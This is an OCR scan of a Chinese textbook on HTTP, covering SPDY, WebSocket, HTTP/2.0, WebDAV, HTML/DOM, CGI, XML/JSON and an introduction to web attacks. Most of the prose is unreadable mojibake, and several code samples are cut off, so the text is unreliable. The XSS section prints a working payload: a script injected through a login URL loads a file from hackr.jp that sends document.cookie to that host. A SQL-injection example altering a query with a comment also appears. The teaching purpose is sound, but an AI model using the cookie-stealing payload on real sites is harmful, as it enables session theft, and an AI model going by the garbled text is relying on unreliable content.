FESER NI SPDY ML —TEIEE FHN . BE LK Web 555245 XY
SPDY {5 TABRENIA%. S9h, Web fRFe3IHT T KAMBRAINA, BIRXE
RENRIREY Web Mis AT RBAE.

R SPDY EX FR2REMAD (IPIiE) BIBE2IEEM, PIUZS— Web [
I LR MR THER, NEMRMEZEIRE.

SPDY 83t —f I ERUER HTTP MEANEA, {8182 Web WIS
MNRE HTTP MRS XY Web REBUREIRF, IEMIZ M EAMTLBEESEHEY
HITAF, LhatE Web ABHNGRSH .



9.3 {EFAN RSB T 2N &S 8 WebSocket

FAS Ajax F0 Comet EAIH{TIBIS T LURTH Web BINIEIRE . 1E[0) E?ﬁr%@?ﬁ
HTTP i, TDEMRE RO, WebSocket W81 AR 12 VAR FUX LLio)RA
SSBV—E DR APl

LEYEXIE WebSocket {EJ9 HTMLS FrEB)—3853, MEETAEHTA 5 IRITEIN
WHRE. WebSocket @IS HYTE 2011 45 12 B 11 B, # RFC 6455 - The WebSocket
Protocol & #m)t.

9.3.1 WebSocket §91% it 5 I8

WebSocket, B[l Web #5885 Web fR33885 282 LiBSinE. Hd, WebSocket
DY ER IETF EJimtE, WebSocket API B3 W3C ERIRIE, HTEFFRPBY WebSocket
ARFEBEN TR AjaxF] Comet 2 XMLHttpRequest i =5 BRI HTS 269101 7.
932 WebSocket /)%

—B Web R385 53 i 82 1Tz WebSocket 1HIXESBISERE, ~/GMENNEES

FIRFEX N EBDWHIT, BEIRBPIEAERE JSON, XML, HTML KERHHE
RIENEEIE.

BRI HTTP &6t ENDY, BIERNREHDRE ik, M—BM
WebSocket @5 %R, NERFJBERS IR, ER—HHBIERONHAIER .

TEREAIIEE—T WebSocket 1) EIE R .
HEIRIDEE

R IR E OB PIRHERSIBHHEIR IR, XA, RFBIYERRIEEIE, MR
WNERZPIRHNER.

REFLTITHE WebSocket 152, MAHLE-BERFIERRT. 0 HTTP 8, NMESR
ERNNRTFHERD, MABTF WebSocket NEHERR/), BISS BRI

°



Ny 3 SR, WebSocket (5, 7 HTTP EERITZE, BRER—RE
3 (Handshaking) B9,

o BFEK

S SEH WebSocket (5, BEAE HTTP 4 Upgrade 85268, SR
FRBEMWRERE, UATIBEFHEN.

GET /chat HTTP/1.1 Host: server.example.com
Upgrade: websocket Connection: Upgrade Sec-WebSocket-Key: dGhlIl
Sec-WebSocket-Version: 13

< >

Sec-WebSocket-Key ¥ NI R EEFIEPUAT DN RIE. Sec-
WebSocket-Protocol 2 BRAICRIEAEIS 1hil.

SR WebSocket IH ISR EEERDTHERN, EXBLERNEIR.

o BF-M0M

XFZRIIER, REMRTES 101 Switching Protocols BIIARZ.

HTTP/1.1 101 Switching Protocols Upgrade: websocket
Connection: Upgrade Sec-WebSocket-Accept: s3pPLMBiTxaQokYGzzhZRI
< >

Sec-WebSocket-Accept N5 BB B BB F1E K P Sec-WebSocket-Key 15
IZI=ET %0

UIDBFHATL WebSocket 3 2[5, BISIRBEMA HTTP BI8EM, M
RF3 WebSocket 4017 BV B M



Ji]

2P ) 5%
| EEER BN E R
HTTP BE BN B REER
(01 swicting Provcols] | Jepsese
¥ R WebSocket tjlt
WebSocket #3 URL#E=
ws://example.com/
WebSocket v wss://fexample.com/
WebSocket t1¥ %
wugE | BERIEE
LEBR B B/IH R L%
REYIE gk, TEER
-« | #8E
v

& : WebSocket &5

W ebSocket API

JavaScript TJ1EF3“The WebSocket API" (http://mwww3.org/TR/websockets/,
B W3C fRESIE) AR WebSocket #2500, DASCHR WebSocket i
TERTBEE.

BUTJ91EMAE WebSocket API, 4 50ms J&Jx—REFEEISPL.

var socket = new WebSocket('ws://game.example.com:12010/updates
socket.onopen = function () {
setInterval(function() { if (socket.bufferedAmount == @)
socket.send(getUpdateData()); }, 50); };


http://www.w3.org/TR/websockets/

9.4 HH AR HTTP/2.0

BRIEROHTTPAA FRE, B 1999 47509 RFC2616 Z/GEAE TN T.
SPDY #J WebSocket S ARDNHI, BHEUTS HTTPM.1 (DREFEFHTHI Web
BIDIo

MR BAMIZAFRER IETF (Internet Engineering Task Force, G EAM T f2E5548)
BIIT httpbis (Hypertext Transfer Protocol Bis, http:/datatracker.ietf.org/wg/httpbis/) T
1E4R, HBEmZHEHRT—H HTTP—HTTPR2.0 7£ 2014 £ 11 BXWAREN.

HTTP/2.0 045 5

HTTP/2.0 IEIRR SR FEEA Web BNEIRERR, BFELX EHELBEY
HTTP/1.1 5 TCP &#, MARNUTBOIXEDINES, Ry— TS

o
e SPDY
e HTTP Speed + Mobility
o Network-FriendlyHTTP Upgrade

HTTP Speed + Mobility B ATiRE, RATAESHRSBMHBESNIBER
ERVEREAIRE. TRII{E Google NTIREH) SPDY 5 WebSocket BIEH 2 o

Network-Friendly HTTP Upgrade =& 2 {EBiimBISN N E HTTP I4EE80 R,
HTTP/2.0 89 7 T R R AT i0

HTTP20 B5EE 269 7 FUAHTIVEG, WM (2012F 8 5138) , KA
Qifﬁ DU AR, BR, WISIERS, FTUTRAEHRRESREEANEH
|V

% 91

E4% SPDY. Friendly


http://datatracker.ietf.org/wg/httpbis/

Ed el

TLS X5,

&

BFImAIE (ClientPull) /AR$528
#E3% (Server Push)

i tedial

WebSocket

SPDY

Speed + Mobility

Speed + Mobility, Friendly

Speed + Mobility

SPDY

Speed+ Mobility

5F: HTTP Speed + Mobility 55}y Speed + Mobility, Network-Friendly HTTP
Upgrade &S 79 Friendly,



9.5 Web fg 535 12 X 14 8 WebDA/
WebDAV (Web-based Distributed Authoring and Versioning, &F54EMBYDHRTE

TERORRASIZ ) R— P OIXY Web R385 NS EEIHT SR, RESRIFN
DA ARG TIEAT B HTTPA.1 BIHINE M/ RFC4918,

FRY eI, MRNHSEATIE, CRSSHAIREEE, I REURPRIE
Bt PASESNNSIEE, USRI AASBHRERAZ ST,

&
m%‘ < WebDAV > :".S;\’

&
WebDAV BB Web IR 4558 b 0O HEBETIRIE WebDAY

e /H&%sﬁ
N N

==

BH /M
N %&

ISR

& : WebDAVY

B8 HTTP/A.1 89 PUT 755440 DELETE 755%, RiQIAXY Web R385 _E BT AHH1TA
EAMIBRIRIE. TRHBTFTZ2MRERMSER, —RABR.

951 ¥ & HTTPM.187 WebDAV

EFRUAR S35 EBVETIR, WebDAV Fi8/0 5 —Laiffx, WA,



X#CREMH
XL XHC
K\ 1024KB
B3 ueno sen

XHA X#B X#C
£EA

B : WebDAV i RHVEES

B (Collection) : 2 — 1A —BES M FHRNFR. UESHEMIH
TEIIRIE, mqimiﬂuﬁAmiéﬁ&‘E@a 18

)R (Resource) : BXIFSHEESTMNE IR
B (Property) : EXHRNEM. BXU“BIR=E"NBRNNIT.

B (Lock) : EXHREMLERERS. 2ARNREN, IHLEED
*Eﬁ(@i&ﬁ?\]%%)\o

9.52 WebDAV A#IZ #7574 ROR 63

WebDAV JySCILTiE X EIR, @ HTTPM.1 highl s AT XL 5%,
PROPFIND : SREVEM

PROPPATCH : 82Ut

MKCOL : 8IS

COPY : SHIFRNLEN

MOVE : Bi5R



LOCK : ZRA0%!
UNLOCK : F3iRfEs!
NG ROVTE, RSBREZY .
102 Processing : QJIEBRMEIER, BERIZMEPRT
207 MultiStatus : FEZIPRTS
422 Unprocessible Entity : 1830Ef, ASEIR
423 Locked : ZHREHNBI
424 Failed Dependency : SMESEIERKBKENEREM, RILABERKIRR
507 Insufficient Storage : R5XRGARE
® WebDAV (315K Sl

TEREFA PROPFIND 75543 http:/wmwexample.comvfile & 23K BRI H)
BKo

PROPFIND /file HTTP/1.1 Host: www.example.com
Content-Type: application/xml; charset="utf-8" Content-Length: !

<?xml version="1.8" encoding="utf-8" ?> <D:propfind xmlns:D="DA
</D:propfind>

P >
e WebDAV &0 fiz S2 I

TER XY 2 A8 PROPFIND 755%, 2@ http://imwmwexample.com/file GI/E
MEBY0BRZ,



HTTP/1.1 207 Multi-Status Content-Type: application/xml; charse

<?xml version="1.8" encoding="utf-8" ?> <D:multistatus xmlns:D=
</R:bigbox> <R:author> <R:Name>J.J. Johnson</R:Name>

</R:author> </D:prop>
<D:status>HTTP/1.1 200 OK</D:status>

</D:propstat> <D:propstat> <D:prop><R:DingALing/><R:Random/
<D:responsedescription> The user does not have access to -

</D:responsedescription> </D:propstat>

</D:response> <D:responsedescription> There has been an acces:

</D:multistatus>

£

NI HTTP DI Z R WL 2

REWRE SIS HTTPASXRBXOVMDINBARE. 2 HTTP IIUER
BEGBUOILT 2R 2

NE, HRSEADKNNARKXRILN, EERENHBERINSNRY)
BEXUNZBUHININ. BRI, 1B HTTP BIARFINES T HBRDH.

XEEBZRE, HOSEWRARNHNBEREBERANKR. HA
BONERDIEER R IFIEENDINAROSHAEDET. RILNRE
RN ERIRO S NNIUSIEL NIEIRE.

HHEN L, BREREHNLE Web, RERBEZTIIA) FTP 70 SSH 53R
IR, —fRATBETIIXY Web B977515), Web RET HTTP iIUEIEE), &
IItAEEE Web ARS3885R 17310 Web Gy, FEBIIREMNIE

HTTP (80/tcp) A0 HTTPS (443/tcp) BIIRIR.

WEBANTHRARLARERRE HTTP (ENBEINE, BTSN
BINRTE. IN HTTP SESABRX—KILH. MXLIRETF HTTP R
FHABMMENRREZ—.

NG —LEHREA, i, {ER HTTP B URA0N 1 e A8 4 &R,
HTTP [RBSENHBLMENE, HTTP ASHMRMRNNAS.

>



E£10E 13 Web AT KA

£ Web RILEINEY, FAIREENE %Wbﬁ@&majﬁmm o 205, Web BRASMHE
HERA, RENFEDHHAS




10.1 HTML

1011 Web TIE/, ¥ £ 6B HTML 1332

HTML (HyperText Markup Language, #8XAFRICIES) £79 3 A% Web EBIBIL
x (Hypertext) MITREWRICIES. BYAR AL, TRSPESUED
EERSEMER (XANBHSE) BirXE, BIBHEYA. mCiES2gRETE
YRR B SERANTIBIRE, ARETNES, RABLIE HTML
TSI SATRE HTML RS (Tag) .

SEOYEA DAIBEE) Web TIE)) 2 210 HTML S8ET, 6 HTML ABHI s 43
USeSHURNT. ERG, SIMHRNGRRZ Web TIH.

j B ERITI e HTMLS L6030k

HTML hackr

[

BT S S fIWeb T

: HTML

T RZA HTML BS80S0 5. MiX ) HTML SRAIXTDIK < > BEE0X
TURINE. EREHERT, MEERERR, B B, fE.
<html> <head> <meta http-equiv="Content-Type" content="text/html; chars

< >

10.1.2 HTML 89iR &

Tim Berners-Lee $2tH HTTP #ESHEHY, I&RHS HTML [RAY, 1993 F4EFFiE
fPAREHINCSA (The National Center for Supercomputing Applications, EZBZI+



BHRABPIY) RS Mosaic Hies (BREMNERREANESEF) , MAEBRK
Mosaic #4769 HTML, H—ImEGRIEN HTML 1.0 &7,

SRINSIHRAR HTMLA.01 4, 1999 £ 12 5 W3C (World Wide Web
Consortium) ALUEFBAEX—IRE. T—TRE, TITATE 2014 FESEREE
1B HTMLS R,

HTMLS fRERMRERIR SR G2 2 BBRESIER, FETEAENHEBIR, B
BHEH, NBFVREBEEED.

NZESH, HIMLDBERSEMARCM. HLOVHESFEE HTML AR ESRIL,
S REENES, XHBRIR S HTML §UFRESIT F RS —X—IR.

101.3 iRt [z F8 CSS

CSS (Cascading Style Sheets, EB&#F\5%) JUBEWTRY HTML A8ISidT
=, BTHARINEZ—. BEIEEHN HTML XY, Bl cSs, Al

BRSINNEIMBEHEZHE. CSS NEBMBILSRNSEFNRTOE, &
FRABNE0.

TEBN RS CSS 89l

.logo {
padding: 20px;
text-align: center; }

75288 (selector) logo BUEELEM, B {} BRKNAHRDPSHN
padding: 20px % 78815 G BB R8I

OIBIYIEE HTML JTZRSUR D class, ID SE VR RIREH NN BB E.



10.2 F7& HTML

1021 ik Web A MK N N HTML

P8 HTML (Dynamic HTML) , REEASFIRMAESRESH HTML AS
%%Ciﬁﬂﬁﬂﬂ&ﬁﬂ’ﬂ%ﬂ\o SR ERITEVHIE. Google Maps ZalRMBVIERA
|| 5 5hi& HTML,

WS HTML AR B IBITERE P imfl 4155 JavaScript, STEAXT HTML 8] Web T1H
HEHABE. A DOM (Document Object Model, IHSSYZRIEAY) TIBEMALER
BEHH HTML T

1022 5% HTML 53 DOM
DOM ZFLURIE HTML SZH4F0 XML SZRYE9 API (Application Programming

Interface, [IF4RIEHE)) o B DOM QLUK HTML ABITR SEXTRIRIFE, G0E
HITEANZRER, T CSSHIBEMS, ENEENRITRESZE.

%%E@ﬂ JavaScript SHIAIESXY DOM (HRIE, TUMUENELH5RES HTML
SGAEET
<body> <h1>%HiffWebZi 4x</h1> <p>ifi 1 4> Web[IHIEICE </p> <p>2f 117
£ >

EL80, M JavaScript (UAESRS, 8 L3R HTML SESE98E 3D P T R (P i5%) X
TNFHEN, 2% NOXFERSHE.

<script type="text/javascript"> var content = document.getElementsByTag
content[2].style.color = '#FF@@@O'; </script>

< >

document.getElementsByTagName('P') 123G getElementsByTagName (%1, ME

NHTML 374 (document object) PIERHE P 752, £ F3€8Y content[2).style.color =

"#FF0000' I5E)#E1E content YRSy 2 (553 1) BITHREFIEIENNAE
(#FF0000)



DOM ABASIRY, EATNTER HTML PHIEMITHR.



10.3 Web [/ B

1031 @i Web {2 IDEE60 Web 7

Web (75215181 Web INAIRILBIN AR, tha0¥Imus. M 1T, SNS,
BBS. 173|550 e-learning 2, GEM (Internet) S{RV/AM (Intranet) @7
ZIBHE Web (775,

FRZSEIF HTTP 116 Web SURLAIRLE ISP A RO0ER, ROSAESBP
B, TIEE Web (KRR, XEXHRBASAEUMAENER, oBEs|
NERTERR Rl HTML POsSEufinss:.

KD DIRFLIROABITN AR, MBESBOASITNBTAS. Web
RZFMERTIISAEZ L.



B: SASHBESAS

1032 5 Web 358 R2FMIELH CCl

CGI (Common Gateway Interface, BAMKIEZL]) =15 Web I§ 553 B IEIZ ik
RIXIRENEREHRLEFN—BHA. 7 CCIHERT, 2RaXiERABI
HABRZEIEHE, LhA0CIE HTML EREAS.

M8 CGI 2R 0UfH CGl 12/, BE A Perl. PHP, Rubyfl C ZRIZIESHKS

o



®: cal

B X CGl BRISENATIESZE RFC3875The Common Gateway Interface (CGI)
\ersion 1.1”

1033 [® Javam& & &) Servlet

Serviet! 2 —TOAELE IR 28 L OIRTISABHIER. Servet 2 Java 5SS —
M0, BFEArWE Jaa (JaaEE, Java Enterprise Edition) 89—&9),



1 REXNNPIFS, SRR Java Servet, BFRENS Servet=Server+Applet, FIE
SRBER. —FET

THEIEREI CCl, BFSRBINER, EFSBRESH—R. Bit—BHIed
K, Web fREEBRIBIELABINE, M ServetinfTIES Web fF 5582180012
&, RESROAER) 2, Servet BHTITIRES0UM Web 58857 Serviet 528,

2 Serdet BN, BILESREKRE, TEMEXHERAENEEN Servet,
EPERTHEMMERES. EFEE

Serviet (ERRIR CGl ATMINIFLA 3, B Java —i2/GE) T &R

3HIMANRALET, X NEE_EEHEER Perl RSH CGl, SKILTE Apache HTTP
Server FAE mod_php RS TIEIT PHP i2F. MRS ASP Zi5 A, —iF
EF

: Servlet

fE& CGlI UL R, BRIERBEBNF CCl 12HH) CCIaiTHAIRMZM 5 A
g i%z% Servet 7 mod_perl OB Web 75588 LiniTOVER IS UTT



104 HERTHNBAREBS

1041 Iy BIRICEBES

XML (eXtensible Markup Language, QI fRITICIES) & 19T A ERH T
ROVBAIRICIES. BAEBIIEAE XML, BEEMBBEAZLEESS.

XML AD HTML &2 M/ EEFAFRICIES SGML (Standard Generalized Markup
Language) EHMEL. 5 HTMLABLY, ©XIEHEEISRDTUN S Kk,

TEEMU HTML REREATHI ST BT,

<html> <head> <title>TAF|HFF£x/r4H</title> </head> <body> <h1>T/Aw]Hf
<ul> <li>WeblHFEFHETITEIZWIEEE</11> </ul> </1i> <li>WFit&4us:
<ul> <li>MI% REETETEZWiERE</1i> </ul> </1i> </ul> </body> </ht

< >

FABEEsFITNZIUSH, MaBTHESINIIERAS, BURXEHIBRAMZRR
BMEREM L RLEFRSRABTRIYRIITBAEREXANSZE, EXn
HTML B4F X — 883, 2REEIRASHEMESENEET. TN, NTREH
HEOVIETRIREL, HTML RESAEFRICRAMESE.

BBERIX N VR XML B9 NS 5 U T 8976l

<R Sr S5="TROOL" 1 l="Web[ FI /7 i 45 LS Wit jde ">

<Rl > A</ F>

<HEELS IR NI TEWebE FH RS2 e 5 1 14 70 B (1) .o/ EE >
</WFt 22>
<HFiF S gnS="TROO2" =" R Gl 55 1M 12 ik e >

<G> A< />

MRS IR NI 9 0 2 22 G i 55 12 I 2 .../ MR >
</BHit 4>

XMLAD HTML —#%, {@FEREEMMTZESE, FEIERNY RinE.

M XML SAS S EREEEL R HTML BN 8. B3T3 XML BVSIER E MR AR



DEMREIESE, BIEEBEEINES (Parser) HIERATINAERRAT XML 5185+
BEHIBTR, TESHMIEIEHI TR,

SESZIEBHIBBS XMLIEG BN L 2#%, e, IBE 2 M RRHNMNA
2B R IRE T e

1042 &7 B #7156 RSS/Atom

RSS (BZESRSE, HIUREAS) 0 Aom BRAMHBXEEEESSHIER
XHHE N EIR. MEEHBET XML,

RSS BUTHRA, SIRIHRSHINBAEE.

RSS 0.9 (RDF Site Summary) : 5¥)6] RSS if A, 1999 F 3 SEMKBEAT
STHRATENPMNIG. EM0EEIRENMN RDF MR L.

RSS 0.91 (Rich Site Summary) : 7 RSS0.9 UEY Hi BT, F 199478
FFR5EE, IF RDF #18, BA XMLORRS.

RSS 1.0 (RDF Site Summary) : RSS #Ii8ERMFRELRT. 2000 4 12 5
RSS-DEV T {F4AfERFA RSS0.9 thiEMAH) RDF HIAE A7,

RSS2.0 (ReallySimple Syndication) : IF RSS1.0 &/@¥84%. 1805755 RSS0.91
B9FAME, 2000 4F 12 B E UserLand Software A ST R 52

Atom SB LU PIRHF o

Atom (£ 58 3\, (Atom Syndication Format) : JyRfAAEMHIEHINILHESK
RN, SUF Aom BY, FiRIBIATE.

Atom H R 1172 (Atom Publishing Protocol) : Jy Web P2 8I#7I8siSo TSl
BN,

BTIREESHE T RSS [Hikes, XIMA/F32R RSS BIpTERANML

Atom,

T ER= RSS1.0 8975Hl.



<?xml version="1.0" encoding="utf-8" ?> <?xml-stylesheet href="http://c

£ >

10.4.3 JavaScript {74 2 24 5 A JSON

JSON (JavaScript Object Notation) 2 —7t JavaScript (ECMAScript) IR &R~
FENEWNREBRYIEIRICIES. EBRIRIVAIELTE false/nullftrue/ XIS #140 £
T FRSB, X7 RET,

{"name": "Web Application Security", "num": "TRe@1"}

JSON i #iEshiz B4, B JSON B RFBF R T JavaScript SR\, 4
HEES XML EEH Alax iR 11k JSON IR ABTEENZ. 25N, EMSivgmie
BERRHEFENEFEE, DUATEERF JSON BB,

B X JSON S RHISLHIATIES Z RFC4627“The application/json Media Type for
JavaScript Object Notation (JSON)”



ENME Web IEHERAK

G G AER Web IoRIFNBR. ARHBRABHLLE Web IgRF
£, URKERSHEFHNRA.




1.1 5 XY Web B9 &5 % K

BERH HTTP DINASHABELZDMEM, BIHNAS P RSE B EHXT
%iﬁzggtﬂﬁp DIXEAR S5 F0E i, MURIGITTEAR 88 LH) Web M AIE ZHRS
2 o

Bal, REERMBBEADRIDPE Web Imkt, I IADIE Web M AEIFNKE
Bine. AEEZEIT Web [ BV EE AR TR

Exim 2%

ERFL ERE SN
R LAC JSOC =4t BIAE MBS Vol 18201254 A268)

B: WESEHMmO

111 HTTPREZSWENZ2IEE

SHEPEIRUELE, WS Web MISFAEEI HTTP ILEUEAL N2 RE SBXE
RV, JIFISPIEN Web MIGBEEARIE (session) B, NIBAEEL
SMSENIEE, T HTTP I AHRREIXLIIEE.

MEE LS, HTTP g2 —MRENSLNIE. BItERESRSINE, BRER
EMHENESLHE.

MEBTIEERNEARIN SSH 1hlkiE, SSH ABMMRANMEASEBEED
A8, HTTP IUIRE. RIMEZRIR SSH IRBHE, EIABIURSINLIREZS
SRBOWRS, M HTTPRIEERILEBRSEE, ESBIRAIRSSEM _LET Web 7



B, R2ERTHRREHTR.

B, FREBZSTRTFHITRINERSEEIRIAERAE Web ANZ 2. M
STRIMERESHNSOPREeelII. SR, 22ERHATS, ThE
iTfFH) Web [z A& AR &SP E SR EE MANZ2RBH Bug.

112 #FPHTEINIER

7E Web f7F3P, ACHBEESAREEINEIEY HTTP B ROV BAD, MIUESFIREH
LH, HoNo AT Web i AT RESEINE STHE B MEREIAS.

£ HTTP BRI AMNER S, REEARXT Web ABIKE. @Y URL &1
FRYKSE. HTTP 538, Cookie SREIBIMEIIIEN, SIXGY Web lBHFEZR
2FE, BABESMSENTE, IRHEEZZERMIR.

TrEZ &R R 1 Web i

ik

W URLB TR RS, HTTPE
#, Cookie S RICBHNRDBEA

B: XY Web {7 BN T

113 &3 Web i BV EER
XY Web [z F3BVERTVE A T ™A,

o IHMWE



o WM E

o MRS BNERNEDNNS

FBE (active attack) RIS BT ERE5I0) Web ([, IBKEHHD
BANKEER. BT ZERNREZH RS S FNFRHTE, B
HERREBIORFLT R,

FIREEAERERRMNNER SAL EABEH 08 SENK E.

FEYHRSBVBLORR

(6); : Kis ege )

BhE

B: I E
o DURS e NERMRMKE

WM (passive attack) 2 IEFBEERIEMTHELRNKNGER. £
W EIER, WEERERNER Web NATIIAREK S,

WK BRI ERIN T .

BB 1 WEEFEHEFMRRSIREGHEN, MEMEBMAESHIRA
WEHHBH HTTP K.



é%ﬂéﬂ# LRPANREPBZE, BFOAESERBHEE iHm SR
DS

HIR 3. PRBHAFNESRIESBRESHEBN HTTP ISR RESEN
WEE R Web fiZF8, infTREH.

B 4 PUTTRENRS, FTELDREN Web ARANNEE IR
1R, TJHESBAFLPIH Cooke EPABIHEER, BERREPLIBAR
IRBBRRASER.

BN EERPEERRIENKE B I AN S B R ERINE.

i@ﬁﬁmF%ﬁﬁﬂﬂﬁl

@B RIS S RE M PR
#5# Cookie SR, AKX

REERLA ' —

(B P oy BB B AT I R R AY

QPR SRR A B DR
BaBH A HTTP i é}/&:m&mmw
DRHES @ @é

ithE

B: RS
MEBPNEMHRETEIAIHME

MAHE S, TREVRAME BN _ETEE RS0 AMEME6
Wi, RERPEANGETLIREHEN, ERFEBNIRZNMETE
A, BIEREUANDERFEZ RS,

RSB AR T DUERE R G BAR £, 173i5) Web Wi, StiEEEAMA
%%E%E%ﬁ&?ﬁ@ﬁ%éﬁﬂiﬁD@%ZM, ESBPRARHEXIEA



aliEbii Nl =27 ish e Gl |

@k Y B N B 88 4T

B
RFB

fER8
@R P 8y R BR80T BARAT BE BN AUBRE

HTTP &k E——

.
HEN

=8 WD%

C MBERHBEX W AR E DB S




1.2 RALEERENATL2SIRNLZLRT
SCHE Web (7L 2RI AB DN U TMED -

o ZFIRBIIRIE
o WebW/Aim (fRFE8IH) BVWIE
o WAEWIE

o HPEEN

— = HTTPOR [T

w| waEoB
i =]

75 [51 34
—y (R
£

S HTer;k

E PG EISIE Web K7 3 B 56iE
: WIFHIBEI LR TS

SHIB R JavaScript £Z P IREIFAIE. O 2ES PRI ESEIB XA
JavaScript, NEER Ja\aScrlpt LlIf’Ejj;zﬁEGBE’éij%o RBELIHIVERER
TREMINRAMAEIR, RIS UHARNIER.

Web [ B804 A\ E S Web A ARIAMENIE JEERIRIANZEEREIM RN
ggg%gﬂ)\ﬁﬁﬁﬂﬁﬁi ERNERERN S AR S ENHERNEZTRD
EHEHRTR.

MEIBE AL, HTML, 8RS Web A RMNEBVEIE 2 IF, SR
BERNABR-—IMEXBRNLZLRIB. HEBERNAT2N, SEMRRNESE
EANKEHE, MemENeHERRS.

121 BISEABE



EUSHIARE (Cross-Site Scripting, XSS) 2E@INBELEIRITHN Web MisE
IEE P ETA S B8 MIGTIEAR HTML #r%55k JavaScript i T80 —F0d. Mol
B HTML I E TR mE LR, R, WESRSHAR MEM, BT
BB FITTN, — NNV ESZERRERE.

PO S TEEERI T #208.

o NARBRBARLBRALTAGS.
BRT, #BEIK

o FIAMAZEEH Cookiels, WEEELKIG
FEREBRIEBER.

o ERNENNERNEA.

o BISMAWEHR
EMBER HTML &b % 5
Euﬁ’#ﬁﬁ\)\ SERNENPIHRBISNARS. TORBET S BPAA

BPANEBAB.
- e L —
mRTAEE | | mtEAGE
#e [(Lo—m | #g£ Wo-—a
anfHihi ame@axample. cnm_l Bl yema@exsmple.com
BT |fw | - aRAE (R
[ ARfEES

MEERHTML A TR SR
D BRBIHAR S R

AR ERRN D VEREFERANZTS, AEmATELO—/XE
89 HTML AR 80=R7 &8,



b et LU =3 1 v

A HTML
5 EETME%

EFE#h . yama@example.com
B (i

Se——

B 2R\WARNSRE T REHLE

I ERIARE L, FESFEBFEAL <s> BT HTML iR, AR5
TR

M%%%ﬁﬁ%#x%ﬁ&xt%*ﬂ%%,@%%ﬁm@ﬁsmmﬁﬁﬁ
ESEN

XSS B W &5E F A M5 IR E 09 S AL R B9 RN &5

BIHANERTRINEER, BUNEERSAMEEBTHEHNG

°

TEMisEIED URIVEIIFERIEE ID, BIESTAREASIE
SFRBHEIEL. MAEX NS, RBREINTEIGEARSEHFR.

| hitpiesampleipfeginfiD=yams |




FEORMAL R RNKES, TEMIZ T TEXRRABZGH
%?;U?E%ﬁ’fé)\%%)&%ﬂ%ﬂﬂﬁ'ﬁ?ﬂ]ﬁ#qjéﬁ Web TNEA, HFEMAFER
A o

http://example.jp/login?ID="><script>var+f=document.getElementB
< >
AEESFTFHZ URI G, BEMEIDRBEREFTLN, BIREEHAAE

BITEIETS . SAPERSABA ID IZB2E, MEEBRREEINE
ZOINIG (BFIZ hackejp) , SEPABREREEGHR.

‘ http://example.jp/login?ID="><scr... ‘

HELREELEN e
ARE SEESS

REASHERRE \\ ]

401D R G 4 5 Pl ] ‘
WHEH A

2[5, D REBEELGZEAND, METRDARRESERIR, A
PRERRIBCHEREICENE.

XY http://example.jp/login?ID=yama {ERATXYRZEY HTML SRIT
B @R

<div class="logo"> <img src="imglogo.gif" alt="E! IZ&" /> </i
ID <input type="text" name="ID" value="yama" /> </div>

< >

http: //example .jp/login?ID="><script>var+f=document.getElemen
SHERNVREHTMURAE (&%)

<div class="logo"> <img src="imglogo.gif" alt="E! 1% /> </d



ID <input type="text" name="ID" value=""><script>var f=documel

< >

e XifIf° Cookie 8355 BRI &

BRIAERSPIRTEEZIN, TEHIBSIBSEMARFA T UBIHAR
WEHS, LBHEIMBFEY Cooke 5.

<script src=http://hackr.jp/xss.js></script>

%ﬁgm EREH http://hackejphss.js X1, BN T ENXESRA JavaScript 55

var content = escape(document.cookie);
document.write("<img src=http://hackr.jp/?");
document.write(content);

document.write(">");

EBEIBIEHARGZ 2R Web 87/ _EHAT EEIXER JavaScrlpt 2
Fe, BITIIoE)Z Web BTN T 8Y Cookie (52, & Flzm* uu
KEWEEH Web [iG (http:/hackrjp/) , 1IBRAEMPBREEP. 45
B RhXAESIEIAH) Cookie B3«

E'.- __

R
BE—Ei, &N
10 ,.4 w52 oh B 0 R
P | J Cookiedt 2 BHH

hitp:fexsmple. plogin ID=">

sre=hitpiihacks pixssgss

: {5 XSS W &35 B Cookie 5 2


http://hackr.jp/xss.js
http://hackr.jp/

122 SQLFEAKWEH

ZMITIEE SQL B saL E A K&

SQLEA (SQL Injection) 25EtXY Web W BEAEVAIERE, BIYETIHE
8 SQL MR E. ZLZEREBTMESIRRANRY, ENEERS
BPANERRINBETHHE,

Web W ABEHEBIHIERE, LRSHIBERANIIBETIRIA
0. MIBRESRIEN, S60A SQLIBONERAUREHTREONRIE. WRE
@ﬁsﬁ QSSI%%@EEIEKL@E%%. METREMTHBERIA (Injection) IF
. 150

SQL AW EE TS T E200.

o FEESEHNENMBEANYE

o MBIALE

o MITHHIEERSSUSKPKNERS
@k saL

SQL EANIRMEXARIHIBEEBIE RS (Relational DataBase Management

System, RDBMS) QVHIIEEIRS, THTIRIFAUIBINE XIS,

RDBMS thE3894#fEZES Oracle Database, Microsoft SQL Server, IBM

%52‘ ’;%VSQL #0 PostgreSQL %, JXLLHIEEARSAERT U SQL FENEUE
BSEA.

[ERIATEEEDY Web A3, BITEA/S7ARK SQLIBGIHELS RDBMS, Bit
RDBMS iR ORI R RGBT Web fzF .

o SQLiEGmRA

SELECT title,text FROM newsTbl WHERE id=123



e SQLF AR

TEUEMNOYIMIEEERINEENB, R SQLT KT, BITLIEE,
HINIUREEBRNDZENBRABS, SHRIFBNIEE(F.

Il el bk - [7
ESETICTIE— | 50 EEE
= —— - | Ty ReeESRAE
_nsmn? ERE SmH(]— Wﬁﬂlﬁ_ﬂ'"-“

Lainu SR SRS == *TRTEEEN
41208 LW SRS S TOHR HE

B: saLiF A& =B
E# A2 IR IERB

TERR LHSFAXRINERER.

httpiifexamiple.com/searchiy= [ HE

B4 SR

[s0LE5 )
SELECT * FROM bockThl WHERE author =" CRFE ! and fiag = 1:

S bookTol s, BFE#Reuthor=_C8E and flag=1| T4 FETHEHE

: EBRBRIEOTRE



URL WEFROIERE 9= LHE, X MEMH Web lAHEAR SQLIED)
&, WA SALiEa.

SELECT * FROM bookTbl WHERE author = ' bEFE' and flag = 1;

1Z SQL B3GR/ M bookTbl FRp, TRESE author= 255 and flag=1 (3]
£) FTEiTeVEIE .

YRR bookTbl RISREZIWYMISHFTE DESS. BY SALIEY),
BREBIEED (author) FEHSHE flag 7y 1 RERHHNZREME, REME
NERERTTHF.

bookThl

S e

1 [!}QQGESM ; 2305!'201 g

J:ﬁ"‘

O00GI080. D6BE01T LHE . SEBi ﬁau:;ms‘rﬁm 1"'
TG0008577] 04122000 | EBE | S s anie
‘_oo@uvzm ammans __;gj_a. ;érnmm = :ncF:{LF: ...... l,..
" bhonassea TR ETCRP [

| M bookThl R RRBE ~utor= FEE " 8 Taa=1 & HOFETRE
*flag=0"HFEBE e HE

HIEENE

SQL E AW a5 B F R B

ENZEEEBTROLFENEN LHE -,



@

hitpfexample.com/seaschig= CE5=" '

VA

[ SOLES ]
